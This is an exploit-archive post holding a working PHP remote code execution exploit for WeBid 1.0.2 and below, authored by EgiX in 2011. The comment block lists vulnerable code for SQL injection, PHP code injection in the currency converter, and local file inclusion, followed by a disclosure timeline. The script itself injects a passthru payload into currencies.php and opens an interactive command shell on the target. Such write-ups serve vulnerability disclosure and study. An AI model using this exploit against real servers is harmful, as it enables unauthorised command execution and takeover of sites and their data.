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WeBid 1.0.2 Remote Code Execution

WeBid 1.0.2 Remote Code Execution
Posted Jul 4, 2011
Authored by EgiX

WeBid versions 1.0.2 and below remote code execution exploit that leverages converter.php.

tags | exploit, remote, php, code execution
MD5 | 83dcdd69a0e237c0c0e11ad606215a01

WeBid 1.0.2 Remote Code Execution

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<?php

/*

------------------------------------------------------------
WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit
------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://www.webidsupport.com/


This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.


[-] Vulnerable code to SQL injection in feedback.php:

154. $query = "SELECT title FROM " . $DBPrefix . "auctions WHERE id = " . $_REQUEST['auction_id'] . " LIMIT 1";
155. $res = mysql_query($query);
156. $system->check_mysql($res, $query, __LINE__, __FILE__);
157. $item_title = mysql_result($res, 0, 'title');

Input passed through $_REQUEST['auction_id'] isn't properly sanitised before being used in the SQL query at line 154.

[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in logout.php:

21. if (isset($_COOKIE['WEBID_RM_ID']))
22. {
23. $query = "DELETE FROM " . $DBPrefix . "rememberme WHERE hashkey = '" . $_COOKIE['WEBID_RM_ID'] . "'";
24. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
25. setcookie('WEBID_RM_ID', '', time() - 3600);
26. }

Input passed through $_COOKIE['WEBID_RM_ID'] isn't properly sanitised before being used in the SQL query at line 23.


[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in user_login.php:

84. if (isset($_COOKIE['WEBID_ONLINE']))
85. {
86. $query = "DELETE from " . $DBPrefix . "online WHERE SESSION = '" . $_COOKIE['WEBID_ONLINE'] . "'";
87. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
88. }

Input passed through $_COOKIE['WEBID_ONLINE'] isn't properly sanitised before being used in the SQL query at line 86.

[-] Vulnerable code to arbitrary PHP code jnjection (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

61. function buildcache($newaarray)
62. {
63. global $include_path;
64.
65. $output_filename = $include_path . 'currencies.php';
66. $output = "<?php\n";
67. $output.= "\$conversionarray[] = '" . time() . "';\n";
68. $output.= "\$conversionarray[] = array(\n";
69.
70. for ($i = 0; $i < count($newaarray); $i++)
71. {
72. $output .= "\t" . "array('from' => '" . $newaarray[$i]['from'] . "', 'to' => '" . $newaarray[$i]['to'] . "', 'rate' => '" . $newaarray[$i]['rate'] . "')";
73. if ($i < (count($newaarray) - 1))
74. {
75. $output .= ",\n";
76. }
77. else
78. {
79. $output .= "\n";
80. }
81. }
82.
83. $output .= ");\n?>\n";
84.
85. $handle = fopen($output_filename, 'w');
86. fputs($handle, $output);
87. fclose($handle);
88. }

Input passed to buildcache() function through $_POST['from'] or $_POST['to'] isn't properly sanitised before being
written to currencies.php file, this can lead to arbitrary PHP code injection.

[-] Vulnerable code to LFI (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

18. if (isset($_GET['lan']) && !empty($_GET['lan']))
19. {
20. if ($user->logged_in)
21. {
22. $query = "UPDATE " . $DBPrefix . "users SET language = '" . mysql_real_escape_string($_GET['lan']) . "' WHERE id = " . $user->user_data['id'];
23. }
24. else
25. {
26. // Set language cookie
27. setcookie('USERLANGUAGE', $_GET['lan'], time() + 31536000, '/');
28. }
29. $language = $_GET['lan'];
30. }
31. elseif ($user->logged_in)
32. {
33. $language = $user->user_data['language'];
34. }
35. elseif (isset($_COOKIE['USERLANGUAGE']))
36. {
37. $language = $_COOKIE['USERLANGUAGE'];
38. }
39. else
40. {
41. $language = $system->SETTINGS['defaultlanguage'];
42. }
43.
44. if (!isset($language) || empty($language)) $language = $system->SETTINGS['defaultlanguage'];
45.
46. include $main_path . 'language/' . $language . '/messages.inc.php';

Input passed through $_GET['lan'] or $_COOKIE['USERLANGUAGE'] parameter isn't properly sanitised before

being used to include files on line 46. This can be exploited to include arbitrary local files.

[-] Information leak vulnerability into /logs directory, cause anyone can read cron.log and error.log


[-] Disclosure timeline:

[19/06/2011] - Vulnerabilities discovered
[19/06/2011] - Vendor contacted
[20/06/2011] - Vendor contacted again
[21/06/2011] - No response from vendor
[21/06/2011] - Issue reported to http://sourceforge.net/apps/mantisbt/simpleauction/view.php?id=34
[22/06/2011] - Issue reported to http://www.webidsupport.com/forums/project.php?do=issuelist&projectid=1
[22/06/2011] - Vendor responsed and released patches: http://www.webidsupport.com/forums/showthread.php?3892
[04/07/2011] - Public disclosure

*/

error_reporting(E_ERROR);
set_time_limit(0);

if (!extension_loaded("curl")) die("cURL extension required\n");

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

function http_post($page, $data)
{
global $ch, $url;

curl_setopt($ch, CURLOPT_URL, $url.$page);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

return curl_exec($ch);
}

print "\n+----------------------------------------------------------------------+";
print "\n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";

if ($argc < 2)
{
print "\nUsage......: php $argv[0] <url>\n";
print "\nExample....: php $argv[0] https://localhost/";
print "\nExample....: php $argv[0] http://localhost/webid/\n";
die();
}

$url = $argv[1];

$code = rawurlencode("\0'));print('_code_');passthru(base64_decode(\$_POST['c'])//");
http_post("converter.php", "action=convert&from=USD&to={$code}");

while(1)
{
print "\nwebid-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=".base64_encode($cmd)), $m) ? print $m[1] : die("\n[-] Exploit failed\n");
}
?>


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